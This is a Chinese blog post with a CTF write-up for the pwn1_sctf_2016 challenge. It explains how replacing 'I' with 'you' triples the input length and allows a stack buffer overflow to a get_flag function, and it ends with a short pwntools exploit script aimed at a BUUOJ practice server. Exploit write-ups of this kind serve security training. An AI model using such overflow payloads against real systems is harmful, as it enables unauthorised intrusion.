首页 > 其他分享 >pwn1_sctf_2016

pwn1_sctf_2016

时间:2023-05-26 21:25:30浏览次数:45  
标签:pwn1 函数 sctf 读入 20 2016 我们

先检查一下开了什么保护机制 img 打开32位ida看看 img 这个是啥鸭,像这种c++的代码最难看了,只能一个函数一个函数的百度 我在这边简述一下,这些函数一大串就是实现了把s数组中的I整体替换成了you,其他的就没了,然后我们先去找找有没有后门函数之类的 img img 找到了一个叫做get_flag的函数,打开一看,确实是得到flag的函数,这个就是我们要的后门函数了,也就是说我们接下来就是看看有没有栈溢出之类的可以修改返回地址的漏洞了,仔细看看,s数组距离ebp差了0x3c,要能够修改返回地址最少也要0x44,可是我们读入只能读入0x20大小,很明显,不够大,但是我们要注意我刚刚说过,I变成you,这样不就瞬间变成三倍,那么就是这么搞了,也就是我们得填充的大小是0x40,不能用3整除,所以我们采用20个I和4个a,这样20*3+4刚好就是0x40,然后接着我们的返回地址,然后计算一下只需要20+4+4=0x1c的读入绰绰有余

from pwn import*
#p=process('./pwn1')
p=remote('node4.buuoj.cn',26474)
payload=b'I'*20+b'a'*4+p32(0x8048f0d)
p.sendline(payload)
p.interactive()

 

标签:pwn1,函数,sctf,读入,20,2016,我们
From: https://www.cnblogs.com/alexlance/p/17435830.html

相关文章

  • 「解题报告」P9195 [JOI Open 2016] JOIRIS
    发现上午高强度想题之后下午就啥都不想干了。神秘构造题,我属实是啥也不会了。先把下标改成从\(0\)开始。首先看到格子上的连续\(k\)的骨牌显然能想到将格子\(k\)染色。而由于有删除一行的操作,按照普通的染色方法好像并不好看,所以我们按列染色。这样我们统计每个颜色上的......
  • windows server2016 操作系统修改默认远程端口
    一、需求   远程端口,windows默认的3389.linux的22,这种都是知名端口,如果IP地址暴露,很可能会被攻击,这时候就需要更改端口号。二、操作步骤2.1打开注册表   快捷键WIN+R,命令行窗口输入regedit2.2进入以下路径  这里是默认端口,修改为自己除1024以后,以及未被......
  • 【NSSCTF逆向】【2023题目】《easy_re》《世界上最棒的程序员》《Check_Your_Luck》《
    题目easy_re解法很简单的一道题考的就是upx脱壳base64加解密拿到文件upx壳upx-d脱壳无壳放进ida很明显关键在于这个判断的两个字符串是啥。现在我们看看我们输入的s变成了什么。进入funcfunc的内容主要是对s进行操作然后给encode_这次我看明白了,这个很明显......
  • NOIP2016普及组试题题解
    1.买铅笔代码:#include<bits/stdc++.h>#definelllonglongusingnamespacestd;intn,ans=1e9,a,b;intmain(){ cin>>n; for(inti=1;i<=3;i++){ cin>>a>>b; ans=min(ans,int(ceil(n*1.0/a)*b)); } cout<<ans; return0;}......
  • 2016 Android Top 10 Library
    阅读本文大概需要10.24分钟。过去的2016年,开源社区异常活跃,很多个人与公司争相开源自己的项目,让人眼花缭乱,然而有些项目只是昙花一现,有些项目却持久创造价值,为开发者提供了极大的便利,这些终究由时间来判断。今天,我就来整理一篇,我个人认为的2016年对Android开发有巨大帮助的......
  • 2016 Top 10 Android Library
    过去的2016年,开源社区异常活跃,很多个人与公司争相开源自己的项目,让人眼花缭乱,然而有些项目只是昙花一现,有些项目却持久创造价值,为开发者提供了极大的便利,这些终究由时间来判断。今天,我就来整理一篇,我个人认为的2016年对Android开发有巨大帮助的,甚至改变了Android开发方式的......
  • [COCI2015-2016#1] RELATIVNOST
    RELATIVNOSTの传送门线段树优化dp已经有很多题解讲的很好了。dp状态是一样的,但是一般的线段树优化dp空间要开$4n$,而且只利用到线段树的一点点功能(单点修改),所以可以先优化空间,从$4n$优化到$2n$。如下图所示。如果用线段树优化dp的方法会导致树不止$\logn+1$层......
  • luogu P4690 [Ynoi2016] 镜中的昆虫 题解
    P4690[Ynoi2016]镜中的昆虫题解题意维护一个长为 \(n\) 的序列 \(a_i\),有 \(m\) 次操作。将区间 \([l,r]\) 的值修改为 \(x\)。询问区间 \([l,r]\) 出现了多少种不同的数,也就是说同一个数出现多次只算一个。题解感觉这道题还是比较有意思的,像是一堆套路......
  • 直流微电网模型Matlab2016及以上,功率波动及直流母线电压控制。
    直流微电网模型Matlab2016及以上,功率波动及直流母线电压控制。仅限交流学习~该模型包括:本地松弛母线、光伏系统、电池和直流负载。本地松弛总线使用与交流电网连接的简化VSC转换器。光伏系统采用标准光伏模型+升压转换器。电池采用标准锂离子电池型号+双有源桥式转换器。需求通过......
  • Windows Server 2016 MDT批量部署服务搭建
    一.介绍MDT是自动执行桌面和服务器部署的工具、流程和指南的统一集合。你可以使用它创建引用映像,或将其用作完整的部署解决方案。MDT现在是IT专业人员可用的最重要的工具之一。除了减少部署时间和标准化桌面和服务器映像以外,MDT还可以使你更轻松地管理安全配置和正在进行的......